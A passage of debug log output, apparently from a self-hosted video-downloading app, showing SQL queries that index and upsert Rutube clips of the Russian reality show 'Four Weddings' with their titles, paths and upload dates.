WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-17 13:48:08Z], 1] 14:35:32.892 [debug] QUERY OK source="media_items" db=124.4ms idle=5.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["На девочку", "29f4e1ef-b6ed-4a84-9caa-30e8b07f63ca", "991def9b4d1aa26a2f29f5a600fc2fbe", 35, false, "https://rutube.ru/video/991def9b4d1aa26a2f29f5a600fc2fbe/", 16, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - На девочку.mp4", false, false, false, 1, [], 3, ~U[2018-10-17 13:48:08Z], ~U[2025-12-09 11:35:32Z], ~U[2025-12-09 11:35:32Z], "", "На девочку", "991def9b4d1aa26a2f29f5a600fc2fbe", 35, false, "https://rutube.ru/video/991def9b4d1aa26a2f29f5a600fc2fbe/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - На девочку.mp4", false, 1, ~U[2018-10-17 13:48:08Z]] 14:35:32.894 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=129.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.895 [debug] QUERY OK source="media_profiles" db=0.6ms idle=129.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:32.896 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=129.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 14:35:32.897 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Свадебный коктейль.mp4", "id" => "b85709320bd7d3c0bfde1da4a6e9f067", "original_url" => "https://rutube.ru/video/b85709320bd7d3c0bfde1da4a6e9f067/", "playlist_index" => 17, "timestamp" => 1539696446, "title" => "Свадебный коктейль", "upload_date" => "20181016"} 14:35:32.898 [debug] QUERY OK source="sources" db=0.5ms idle=130.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:32.899 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.900 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-16 13:27:26Z], 1] 14:35:33.022 [debug] QUERY OK source="media_items" db=119.8ms idle=5.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный коктейль", "6eeeb41c-2c49-452c-b2da-f0a8807c361f", "b85709320bd7d3c0bfde1da4a6e9f067", 30, false, "https://rutube.ru/video/b85709320bd7d3c0bfde1da4a6e9f067/", 17, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Свадебный коктейль.mp4", false, false, false, 1, [], 3, ~U[2018-10-16 13:27:26Z], ~U[2025-12-09 11:35:32Z], ~U[2025-12-09 11:35:32Z], "", "Свадебный коктейль", "b85709320bd7d3c0bfde1da4a6e9f067", 30, false, "https://rutube.ru/video/b85709320bd7d3c0bfde1da4a6e9f067/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Свадебный коктейль.mp4", false, 1, ~U[2018-10-16 13:27:26Z]] 14:35:33.024 [debug] QUERY OK source="sources" db=1.4ms queue=0.3ms idle=125.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:33.027 [debug] QUERY OK source="media_profiles" db=2.8ms queue=0.2ms idle=126.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:33.029 [debug] QUERY OK source="media_items" db=0.7ms idle=128.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 14:35:33.029 [debug] Current batch of media processed. Will check again in 1000ms 14:35:34.030 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 35, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e052400 - Самое оженительное шоу на Пятнице.mp4", "id" => "bf4eb4803cf4a0b00497302d792a83c1", "original_url" => "https://rutube.ru/video/bf4eb4803cf4a0b00497302d792a83c1/", "playlist_index" => 18, "timestamp" => 1558726233, "title" => "Самое оженительное шоу на Пятнице", "upload_date" => "20190524"} 14:35:34.031 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1009.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:34.032 [debug] QUERY OK source="sources" db=0.6ms idle=1007.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.033 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-05-24 19:30:33Z], 1] 14:35:34.155 [debug] QUERY OK source="media_items" db=121.1ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Самое оженительное шоу на Пятнице", "d56e3440-c874-4508-a156-3bd91f43f40e", "bf4eb4803cf4a0b00497302d792a83c1", 35, false, "https://rutube.ru/video/bf4eb4803cf4a0b00497302d792a83c1/", 18, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e052400 - Самое оженительное шоу на Пятнице.mp4", false, false, false, 1, [], 1, ~U[2019-05-24 19:30:33Z], ~U[2025-12-09 11:35:34Z], ~U[2025-12-09 11:35:34Z], "", "Самое оженительное шоу на Пятнице", "bf4eb4803cf4a0b00497302d792a83c1", 35, false, "https://rutube.ru/video/bf4eb4803cf4a0b00497302d792a83c1/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e052400 - Самое оженительное шоу на Пятнице.mp4", false, 1, ~U[2019-05-24 19:30:33Z]] 14:35:34.157 [debug] QUERY OK source="sources" db=1.7ms idle=124.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.158 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=125.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:34.160 [debug] QUERY OK source="media_items" db=0.6ms idle=125.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 14:35:34.160 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 15, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e102500 - Самое сердечное реалити. Премьера. Вторник 19_00.mp4", "id" => "def0dcb7ade5cdb9bf28912ca11c50cd", "original_url" => "https://rutube.ru/video/def0dcb7ade5cdb9bf28912ca11c50cd/", "playlist_index" => 19, "timestamp" => 1540474657, "title" => "Самое сердечное реалити. Премьера. Вторник 19:00", "upload_date" => "20181025"} 14:35:34.161 [debug] QUERY OK source="sources" db=0.3ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:34.162 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.163 [debug] QUERY OK source="media_items" db=0.4ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-25 13:37:37Z], 1] 14:35:34.302 [debug] QUERY OK source="media_items" db=138.7ms queue=0.1ms idle=4.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Самое сердечное реалити. Премьера. Вторник 19:00", "f44136f2-0c9a-4245-96ac-0fab633d1a8e", "def0dcb7ade5cdb9bf28912ca11c50cd", 15, false, "https://rutube.ru/video/def0dcb7ade5cdb9bf28912ca11c50cd/", 19, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e102500 - Самое сердечное реалити. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-10-25 13:37:37Z], ~U[2025-12-09 11:35:34Z], ~U[2025-12-09 11:35:34Z], "", "Самое сердечное реалити. Премьера. Вторник 19:00", "def0dcb7ade5cdb9bf28912ca11c50cd", 15, false, "https://rutube.ru/video/def0dcb7ade5cdb9bf28912ca11c50cd/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e102500 - Самое сердечное реалити. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-10-25 13:37:37Z]] 14:35:34.305 [debug] QUERY OK source="sources" db=2.7ms idle=142.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.306 [debug] QUERY OK source="media_profiles" db=0.4ms idle=144.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:34.308 [debug] QUERY OK source="media_items" db=0.8ms idle=145.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 14:35:34.308 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 35, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070200 - Самая веселая свадьба.mp4", "id" => "e3597f2bf183ab6bb54a5b9c7da25f80", "original_url" => "https://rutube.ru/video/e3597f2bf183ab6bb54a5b9c7da25f80/", "playlist_index" => 20, "timestamp" => 1562098488, "title" => "Самая веселая свадьба", "upload_date" => "20190702"} 14:35:34.309 [debug] QUERY OK source="sources" db=0.5ms idle=145.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:34.310 [debug] QUERY OK source="sources" db=0.3ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.311 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-02 20:14:48Z], 1] 14:35:34.499 [debug] QUERY OK source="media_items" db=188.1ms idle=5.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Самая веселая свадьба", "8d77fe47-cdd1-4838-80cc-e6ddbc1a7448", "e3597f2bf183ab6bb54a5b9c7da25f80", 35, false, "https://rutube.ru/video/e3597f2bf183ab6bb54a5b9c7da25f80/", 20, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070200 - Самая веселая свадьба.mp4", false, false, false, 1, [], 1, ~U[2019-07-02 20:14:48Z], ~U[2025-12-09 11:35:34Z], ~U[2025-12-09 11:35:34Z], "", "Самая веселая свадьба", "e3597f2bf183ab6bb54a5b9c7da25f80", 35, false, "https://rutube.ru/video/e3597f2bf183ab6bb54a5b9c7da25f80/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070200 - Самая веселая свадьба.mp4", false, 1, ~U[2019-07-02 20:14:48Z]] 14:35:34.501 [debug] QUERY OK source="sources" db=1.6ms idle=192.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.502 [debug] QUERY OK source="media_profiles" db=0.5ms idle=192.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:34.504 [debug] QUERY OK source="media_items" db=0.6ms idle=193.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20] 14:35:34.504 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e111500 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", "id" => "e616356d72433f467250e679c4cfba65", "original_url" => "https://rutube.ru/video/e616356d72433f467250e679c4cfba65/", "playlist_index" => 21, "timestamp" => 1542294103, "title" => "Четыре свадьбы. Премьера. Вторник 19:00", "upload_date" => "20181115"} 14:35:34.505 [debug] QUERY OK source="sources" db=0.9ms idle=193.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 